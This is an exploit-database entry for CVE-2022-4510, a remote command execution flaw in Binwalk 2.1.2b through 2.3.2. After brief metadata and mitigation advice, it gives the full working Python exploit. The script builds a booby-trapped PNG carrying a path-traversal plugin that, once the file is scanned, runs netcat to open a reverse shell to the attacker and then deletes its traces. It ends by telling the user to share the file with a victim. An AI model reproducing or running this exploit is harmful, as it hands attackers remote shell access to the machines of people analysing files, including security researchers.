Binwalk v2.3.2 - Remote Command Execution (RCE)

vendor:

Binwalk

by:

Etienne Lacoche

7.5

CVSS

HIGH

Remote Command Execution (RCE)

CWE

Product Name: Binwalk

Affected Version From: 2.1.2b

Affected Version To: 2.3.2002

Patch Exists: YES

Related CWE: CVE-2022-4510

CPE: 2.3.2002

Metasploit: https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-4510/

Platforms Tested: Debian 11

2022

Binwalk v2.3.2 – Remote Command Execution (RCE)

Binwalk 2.1.2b through 2.3.2 is vulnerable to a remote command execution vulnerability. An attacker can craft a malicious .png file and send it to the victim, which when opened with Binwalk, will execute arbitrary code on the victim's machine. The exploit is written in Python and uses the netcat utility to open a reverse shell on the victim's machine.

Mitigation:

Upgrade to the latest version of Binwalk, or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
# Exploit Author: Etienne Lacoche
# CVE-ID: CVE-2022-4510
import os
import inspect
import argparse

print("")
print("################################################")
print("------------------CVE-2022-4510----------------")
print("################################################")
print("--------Binwalk Remote Command Execution--------")
print("------Binwalk 2.1.2b through 2.3.2 included-----")
print("------------------------------------------------")
print("################################################")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("------------------Discovered by:----------------")
print("---------Q. Kaiser, ONEKEY Research Lab---------")
print("---------Exploit tested on debian 11------------")
print("################################################")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input .png file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()
            
if args.file and args.ip and args.port:
    header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
    lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n','    def init(self):\n','        if not os.path.exists("/tmp/.binwalk"):\n','            os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &")\n','            with open("/tmp/.binwalk", "w") as f:\n','                f.write("1")\n','        else:\n','            os.remove("/tmp/.binwalk")\n', '            os.remove(os.path.abspath(__file__))\n','            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']

    in_file = open(args.file, "rb")
    data = in_file.read()
    in_file.close()
    
    with open("/tmp/plugin", "w") as f:
       for line in lines:
          f.write(line)

    with open("/tmp/plugin", "rb") as f: 
        content = f.read()

    os.system("rm /tmp/plugin")

    with open("binwalk_exploit.png", "wb") as f:
        f.write(data)
        f.write(header_pfs)
        f.write(content)

    print("")    
    print("You can now rename and share binwalk_exploit and start your local netcat listener.")
    print("")